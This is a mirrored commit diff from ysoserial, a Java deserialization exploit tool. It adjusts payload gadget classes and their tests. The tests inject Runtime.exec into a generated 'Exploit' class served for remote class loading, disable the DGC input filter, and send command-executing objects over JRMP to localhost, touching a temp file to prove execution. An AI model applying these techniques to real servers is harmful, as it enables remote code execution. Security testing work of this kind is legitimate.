mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
test fixes
This commit is contained in:
@@ -5,6 +5,7 @@ import com.redhat.ceylon.compiler.java.language.SerializationProxy;
|
|||||||
import ysoserial.payloads.annotation.Authors;
|
import ysoserial.payloads.annotation.Authors;
|
||||||
import ysoserial.payloads.annotation.Dependencies;
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
@Authors({ Authors.KULLRICH })
|
@Authors({ Authors.KULLRICH })
|
||||||
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
|
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
|
||||||
@@ -20,4 +21,8 @@ public class Ceylon implements ObjectPayload<Object>
|
|||||||
|
|
||||||
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
|
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(Ceylon.class, args);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ package ysoserial.payloads;
|
|||||||
import javax.el.ELContext;
|
import javax.el.ELContext;
|
||||||
import javax.el.ExpressionFactory;
|
import javax.el.ExpressionFactory;
|
||||||
import javax.el.ValueExpression;
|
import javax.el.ValueExpression;
|
||||||
|
import javax.faces.context.FacesContext;
|
||||||
import javax.servlet.ServletContext;
|
import javax.servlet.ServletContext;
|
||||||
import javax.servlet.ServletRequest;
|
import javax.servlet.ServletRequest;
|
||||||
import javax.servlet.ServletResponse;
|
import javax.servlet.ServletResponse;
|
||||||
@@ -55,6 +56,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||||
"org.mortbay.jasper:apache-el:8.0.27",
|
"org.mortbay.jasper:apache-el:8.0.27",
|
||||||
"javax.servlet:javax.servlet-api:3.1.0",
|
"javax.servlet:javax.servlet-api:3.1.0",
|
||||||
|
"com.nqzero:permit-reflect:0.3", // FIXME for custom deserializer
|
||||||
|
|
||||||
// deps for mocking the FacesContext
|
// deps for mocking the FacesContext
|
||||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||||
@@ -64,6 +66,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||||
"javax.servlet:javax.servlet-api:3.1.0",
|
"javax.servlet:javax.servlet-api:3.1.0",
|
||||||
|
"com.nqzero:permit-reflect:0.3", // FIXME for custom deserializer
|
||||||
|
|
||||||
// deps for mocking the FacesContext
|
// deps for mocking the FacesContext
|
||||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||||
@@ -76,6 +79,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
|
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
|
||||||
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
||||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||||
|
|
||||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||||
|
|
||||||
@@ -89,6 +93,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
|
|
||||||
|
|
||||||
public static void main ( final String[] args ) throws Exception {
|
public static void main ( final String[] args ) throws Exception {
|
||||||
PayloadRunner.run(Myfaces1.class, args);
|
FacesContext.getCurrentInstance();
|
||||||
|
Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import java.util.UUID;
|
|||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
public class CommandExecTest implements CustomTest {
|
public class CommandExecTest implements CustomTest {
|
||||||
private final File testFile =
|
protected final File testFile =
|
||||||
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
|
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
@@ -1,13 +1,11 @@
|
|||||||
package ysoserial.test.payloads;
|
package ysoserial.test.payloads;
|
||||||
|
|
||||||
import org.junit.Assert;
|
import org.junit.Assert;
|
||||||
import sun.rmi.transport.ObjectTable;
|
import sun.rmi.transport.ObjectTable;
|
||||||
import ysoserial.Strings;
|
|
||||||
import ysoserial.exploit.JRMPClient;
|
import ysoserial.exploit.JRMPClient;
|
||||||
import ysoserial.payloads.JRMPListener;
|
import ysoserial.payloads.JRMPListener;
|
||||||
import ysoserial.test.CustomTest;
|
import ysoserial.test.CustomTest;
|
||||||
import ysoserial.test.util.Files;
|
import ysoserial.test.util.Files;
|
||||||
import ysoserial.test.util.OS;
|
|
||||||
import ysoserial.test.util.ObjectInputFilters;
|
import ysoserial.test.util.ObjectInputFilters;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
@@ -16,14 +14,16 @@ import java.util.Random;
|
|||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
||||||
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
|
private final File testFile = Files.getTestFile();
|
||||||
|
|
||||||
private final int port = 16000 + new Random().nextInt(16000);
|
private final int port = 16000 + new Random().nextInt(16000);
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void run(Callable<Object> payload) throws Exception {
|
public void run(Callable<Object> payload) throws Exception {
|
||||||
|
System.out.println(testFile);
|
||||||
Assert.assertFalse("test file shouldn't exist", testFile.exists());
|
Assert.assertFalse("test file shouldn't exist", testFile.exists());
|
||||||
|
|
||||||
// ObjectInputFilters.disableDcgFilter();
|
ObjectInputFilters.disableDcgFilter();
|
||||||
|
|
||||||
// open listener
|
// open listener
|
||||||
Remote res = (Remote) payload.call();
|
Remote res = (Remote) payload.call();
|
||||||
@@ -32,9 +32,10 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
|||||||
// send payload
|
// send payload
|
||||||
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
|
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
|
||||||
|
|
||||||
Files.waitForFile(testFile, 5000);
|
Files.waitForFile(testFile, 1000);
|
||||||
|
|
||||||
Assert.assertTrue("test file should exist", testFile.exists());
|
Assert.assertTrue("test file should exist", testFile.exists());
|
||||||
|
System.out.println("passed");
|
||||||
} finally {
|
} finally {
|
||||||
// close listener
|
// close listener
|
||||||
// TODO move to postDeserRelease
|
// TODO move to postDeserRelease
|
||||||
@@ -52,17 +53,8 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Class[] getAddlClasses() {
|
public Class[] getAddlClasses() {
|
||||||
return new Class[] { TestHarnessTest.ExecMockSerializable.class };
|
// not applicable because of unconfigurable DGC native classloader
|
||||||
}
|
return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ };
|
||||||
|
|
||||||
public static Class<?> loadFirstClass(String ... classNames) {
|
|
||||||
for (String className : classNames) {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(className);
|
|
||||||
return clazz;
|
|
||||||
} catch (Exception e) {}
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,8 +17,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
|
|||||||
private int jrmpPort;
|
private int jrmpPort;
|
||||||
|
|
||||||
|
|
||||||
public JRMPReverseConnectSMTest (String command) {
|
public JRMPReverseConnectSMTest () {
|
||||||
super(command);
|
|
||||||
// some payloads cannot specify the port
|
// some payloads cannot specify the port
|
||||||
jrmpPort = 1099;
|
jrmpPort = 1099;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import javax.management.BadAttributeValueExpException;
|
|||||||
|
|
||||||
import org.junit.Assert;
|
import org.junit.Assert;
|
||||||
|
|
||||||
|
import ysoserial.payloads.Atomikos;
|
||||||
import ysoserial.test.CustomTest;
|
import ysoserial.test.CustomTest;
|
||||||
import ysoserial.exploit.JRMPListener;
|
import ysoserial.exploit.JRMPListener;
|
||||||
|
|
||||||
@@ -54,4 +55,8 @@ public class JRMPReverseConnectTest implements CustomTest {
|
|||||||
return "rmi://localhost:" + port + "/ExportObject";
|
return "rmi://localhost:" + port + "/ExportObject";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
PayloadsTest.testPayload(Atomikos.class);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import java.net.URL;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Iterator;
|
import java.util.Iterator;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
import javax.el.BeanELResolver;
|
import javax.el.BeanELResolver;
|
||||||
import javax.el.ELContext;
|
import javax.el.ELContext;
|
||||||
@@ -16,6 +17,7 @@ import javax.faces.context.FacesContext;
|
|||||||
import javax.servlet.ServletContext;
|
import javax.servlet.ServletContext;
|
||||||
import javax.servlet.ServletRequest;
|
import javax.servlet.ServletRequest;
|
||||||
|
|
||||||
|
import com.nqzero.permit.Permit;
|
||||||
import org.apache.myfaces.el.CompositeELResolver;
|
import org.apache.myfaces.el.CompositeELResolver;
|
||||||
import org.apache.myfaces.el.unified.FacesELContext;
|
import org.apache.myfaces.el.unified.FacesELContext;
|
||||||
import org.mockito.Matchers;
|
import org.mockito.Matchers;
|
||||||
@@ -23,9 +25,11 @@ import org.mockito.Mockito;
|
|||||||
import org.mockito.invocation.InvocationOnMock;
|
import org.mockito.invocation.InvocationOnMock;
|
||||||
import org.mockito.stubbing.Answer;
|
import org.mockito.stubbing.Answer;
|
||||||
|
|
||||||
|
import ysoserial.payloads.Myfaces2;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
import ysoserial.test.CustomDeserializer;
|
import ysoserial.test.CustomDeserializer;
|
||||||
import ysoserial.Deserializer;
|
import ysoserial.Deserializer;
|
||||||
|
import ysoserial.test.WrappedTest;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -34,31 +38,49 @@ import ysoserial.Deserializer;
|
|||||||
*/
|
*/
|
||||||
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
|
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
|
||||||
|
|
||||||
|
// FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
|
||||||
public MyfacesTest ( String command ) {
|
|
||||||
super(command);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
public Class<?> getCustomDeserializer () {
|
public Class<?> getCustomDeserializer () {
|
||||||
return MyfacesDeserializer.class;
|
return MyfacesDeserializer.class;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* need to use a custom deserializer so that the faces context gets set in the isolated class
|
* need to use a custom deserializer so that the faces context gets set in the isolated class
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
public static final class MyfacesDeserializer extends Deserializer {
|
|
||||||
|
|
||||||
|
public static final class MyfacesDeserializer extends Deserializer {
|
||||||
public static Class<?>[] getExtraDependencies () {
|
public static Class<?>[] getExtraDependencies () {
|
||||||
return new Class[] {
|
return new Class[] {
|
||||||
MockRequestContext.class, MockELResolver.class
|
MockRequestContext.class, MockELResolver.class, Reflections.class, Permit.class
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public MyfacesDeserializer ( byte[] bytes ) {
|
||||||
|
super(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object call () throws Exception {
|
||||||
|
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
|
||||||
|
Reflections.setAccessible(setFC);
|
||||||
|
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
|
||||||
|
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
|
||||||
|
FacesContext ctx = createMockFacesContext();
|
||||||
|
try {
|
||||||
|
setFC.invoke(null, ctx);
|
||||||
|
return super.call();
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
setFC.invoke(null, (FacesContext) null);
|
||||||
|
Thread.currentThread().setContextClassLoader(oldTCCL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
private static class MockRequestContext implements Answer<Object> {
|
private static class MockRequestContext implements Answer<Object> {
|
||||||
|
|
||||||
private Map<String, Object> attributes = new HashMap<String, Object>();
|
private Map<String, Object> attributes = new HashMap<String, Object>();
|
||||||
@@ -135,29 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public MyfacesDeserializer ( byte[] bytes ) {
|
|
||||||
super(bytes);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Object call () throws Exception {
|
|
||||||
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
|
|
||||||
Reflections.setAccessible(setFC);
|
|
||||||
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
|
|
||||||
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
|
|
||||||
FacesContext ctx = createMockFacesContext();
|
|
||||||
try {
|
|
||||||
setFC.invoke(null, ctx);
|
|
||||||
return super.call();
|
|
||||||
}
|
|
||||||
finally {
|
|
||||||
setFC.invoke(null, (FacesContext) null);
|
|
||||||
Thread.currentThread().setContextClassLoader(oldTCCL);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
private static FacesContext createMockFacesContext () throws MalformedURLException {
|
private static FacesContext createMockFacesContext () throws MalformedURLException {
|
||||||
FacesContext ctx = Mockito.mock(FacesContext.class);
|
FacesContext ctx = Mockito.mock(FacesContext.class);
|
||||||
CompositeELResolver cer = new CompositeELResolver();
|
CompositeELResolver cer = new CompositeELResolver();
|
||||||
@@ -176,6 +175,13 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
Mockito.when(ctx.getELContext()).thenReturn(elc);
|
Mockito.when(ctx.getELContext()).thenReturn(elc);
|
||||||
return ctx;
|
return ctx;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
PayloadsTest.testPayload(Myfaces2.class);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ import org.junit.runners.Parameterized;
|
|||||||
import org.junit.runners.Parameterized.Parameters;
|
import org.junit.runners.Parameterized.Parameters;
|
||||||
|
|
||||||
import ysoserial.*;
|
import ysoserial.*;
|
||||||
|
import ysoserial.payloads.Atomikos;
|
||||||
import ysoserial.payloads.DynamicDependencies;
|
import ysoserial.payloads.DynamicDependencies;
|
||||||
import ysoserial.payloads.ObjectPayload;
|
import ysoserial.payloads.ObjectPayload;
|
||||||
import ysoserial.test.CustomTest;
|
import ysoserial.test.CustomTest;
|
||||||
@@ -64,6 +65,10 @@ public class PayloadsTest {
|
|||||||
this.payloadClass = payloadClass;
|
this.payloadClass = payloadClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void testPayload(Class<? extends ObjectPayload<?>> payloadClass) throws Exception {
|
||||||
|
testPayload(payloadClass, new Class[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testPayload () throws Exception {
|
public void testPayload () throws Exception {
|
||||||
@@ -133,20 +138,19 @@ public class PayloadsTest {
|
|||||||
callable = ( (WrappedTest) testHarness ).createCallable(callable);
|
callable = ( (WrappedTest) testHarness ).createCallable(callable);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (testHarness instanceof CustomTest) {
|
|
||||||
// if marked as flaky try up to 5 times
|
// if marked as flaky try up to 5 times
|
||||||
Exception ex = new Exception();
|
Exception ex = new Exception();
|
||||||
for (int i = 0; i < tries; i++) {
|
for (int i = 0; i < tries; i++) {
|
||||||
try {
|
try {
|
||||||
((CustomTest) testHarness).run(callable);
|
((CustomTest) testHarness).run(callable);
|
||||||
ex = null;
|
ex = null;
|
||||||
break;
|
break;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
ex = e;
|
ex = e;
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if (ex != null) throw ex;
|
|
||||||
}
|
}
|
||||||
|
if (ex != null) throw ex;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static boolean isForceTests() {
|
private static boolean isForceTests() {
|
||||||
|
|||||||
@@ -12,6 +12,8 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
|
|||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
|
import ysoserial.payloads.C3P0;
|
||||||
|
import ysoserial.test.CustomTest;
|
||||||
import ysoserial.test.WrappedTest;
|
import ysoserial.test.WrappedTest;
|
||||||
|
|
||||||
|
|
||||||
@@ -19,17 +21,10 @@ import ysoserial.test.WrappedTest;
|
|||||||
* @author mbechler
|
* @author mbechler
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
public class RemoteClassLoadingTest implements WrappedTest {
|
public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTest, CustomTest {
|
||||||
|
|
||||||
int port;
|
private int port = new Random().nextInt(65535-1024)+1024;
|
||||||
private String command;
|
private String className = "Exploit-" + System.currentTimeMillis();
|
||||||
private String className;
|
|
||||||
|
|
||||||
public RemoteClassLoadingTest ( String command ) {
|
|
||||||
this.command = command;
|
|
||||||
this.port = new Random().nextInt(65535-1024)+1024;
|
|
||||||
this.className = "Exploit-" + System.currentTimeMillis();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public String getPayloadArgs () {
|
public String getPayloadArgs () {
|
||||||
@@ -54,7 +49,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
||||||
final CtClass clazz = pool.get(Exploit.class.getName());
|
final CtClass clazz = pool.get(Exploit.class.getName());
|
||||||
clazz.setName(this.className);
|
clazz.setName(this.className);
|
||||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
|
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + getTouchCmd(testFile.toString()).replace("\\", "\\\\").replace("\"", "\\\"") + "\");");
|
||||||
return clazz.toBytecode();
|
return clazz.toBytecode();
|
||||||
}
|
}
|
||||||
catch ( Exception e ) {
|
catch ( Exception e ) {
|
||||||
@@ -122,6 +117,10 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
PayloadsTest.testPayload(C3P0.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
public static class Exploit implements Serializable {
|
public static class Exploit implements Serializable {
|
||||||
|
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
package ysoserial.test.payloads;
|
package ysoserial.test.payloads;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.*;
|
||||||
import java.io.ObjectInputStream;
|
import java.util.Arrays;
|
||||||
import java.io.Serializable;
|
|
||||||
|
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.junit.Assert;
|
import org.junit.Assert;
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
|
import ysoserial.Strings;
|
||||||
import ysoserial.payloads.ObjectPayload;
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
|
||||||
public class TestHarnessTest {
|
public class TestHarnessTest {
|
||||||
@@ -53,10 +53,20 @@ public class TestHarnessTest {
|
|||||||
|
|
||||||
@SuppressWarnings("serial")
|
@SuppressWarnings("serial")
|
||||||
public static class ExecMockSerializable implements Serializable {
|
public static class ExecMockSerializable implements Serializable {
|
||||||
|
// static {
|
||||||
|
// try {
|
||||||
|
// printLoad(ExecMockSerializable.class);
|
||||||
|
// printStackTrace();
|
||||||
|
// } catch (Throwable e) {
|
||||||
|
// e.printStackTrace();
|
||||||
|
// }
|
||||||
|
// }
|
||||||
private final String cmd;
|
private final String cmd;
|
||||||
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
|
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
|
||||||
|
|
||||||
private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||||
|
// printStackTrace();
|
||||||
|
// printLoad(ExecMockSerializable.class);
|
||||||
ois.defaultReadObject();
|
ois.defaultReadObject();
|
||||||
try {
|
try {
|
||||||
Runtime.getRuntime().exec(cmd);
|
Runtime.getRuntime().exec(cmd);
|
||||||
@@ -65,4 +75,20 @@ public class TestHarnessTest {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void printStackTrace() {
|
||||||
|
StringWriter sw = new StringWriter();
|
||||||
|
new Throwable().printStackTrace(new PrintWriter(sw));
|
||||||
|
String st = sw.toString();
|
||||||
|
String[] lines = st.split("\n");
|
||||||
|
lines[0] = "Stack Trace:";
|
||||||
|
for (int i = 0; i < lines.length; i++) {
|
||||||
|
lines[i] = "[" + Thread.currentThread().getName() + "] " + lines[i];
|
||||||
|
}
|
||||||
|
System.out.println(Strings.join(Arrays.asList(lines), "\n", null, null));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printLoad(Class<?> clazz) {
|
||||||
|
System.out.println("[" + Thread.currentThread().getName() + "] " + "Loaded " + clazz + "@" + System.identityHashCode(clazz) + " from " + clazz.getClassLoader() + " with parent " + clazz.getClassLoader().getParent());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,34 +0,0 @@
|
|||||||
package ysoserial.test.util;
|
|
||||||
|
|
||||||
import java.util.concurrent.Callable;
|
|
||||||
|
|
||||||
public class Callables {
|
|
||||||
public static interface BeforeAfterCallback {
|
|
||||||
public void before();
|
|
||||||
public void after();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class Wrapper<T> implements Callable<T> {
|
|
||||||
private final Callable<T> callable;
|
|
||||||
private final BeforeAfterCallback callback;
|
|
||||||
|
|
||||||
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
|
|
||||||
this.callable = callable;
|
|
||||||
this.callback = callback;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public T call() throws Exception {
|
|
||||||
try {
|
|
||||||
callback.before();
|
|
||||||
return callable.call();
|
|
||||||
} finally {
|
|
||||||
callback.after();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
|
|
||||||
return new Wrapper<T>(callable, callback);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,5 +1,7 @@
|
|||||||
package ysoserial.test.util;
|
package ysoserial.test.util;
|
||||||
|
|
||||||
|
import ysoserial.Strings;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
|
|
||||||
@@ -20,4 +22,8 @@ public class Files {
|
|||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static File getTestFile() {
|
||||||
|
return new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package ysoserial.test.util;
|
|||||||
|
|
||||||
import ysoserial.payloads.JRMPListener;
|
import ysoserial.payloads.JRMPListener;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
import ysoserial.test.payloads.JRMPListenerTest;
|
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
@@ -11,7 +10,7 @@ import java.lang.reflect.Proxy;
|
|||||||
|
|
||||||
public class ObjectInputFilters {
|
public class ObjectInputFilters {
|
||||||
public static Object getAllowFilter() throws Exception {
|
public static Object getAllowFilter() throws Exception {
|
||||||
final Class<?> filterClass = JRMPListenerTest.loadFirstClass(
|
final Class<?> filterClass = loadFirstClass(
|
||||||
"java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter");
|
"java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter");
|
||||||
if (filterClass == null) {
|
if (filterClass == null) {
|
||||||
return null;
|
return null;
|
||||||
@@ -44,4 +43,14 @@ public class ObjectInputFilters {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static Class<?> loadFirstClass(String ... classNames) {
|
||||||
|
for (String className : classNames) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = Class.forName(className);
|
||||||
|
return clazz;
|
||||||
|
} catch (Exception e) {}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user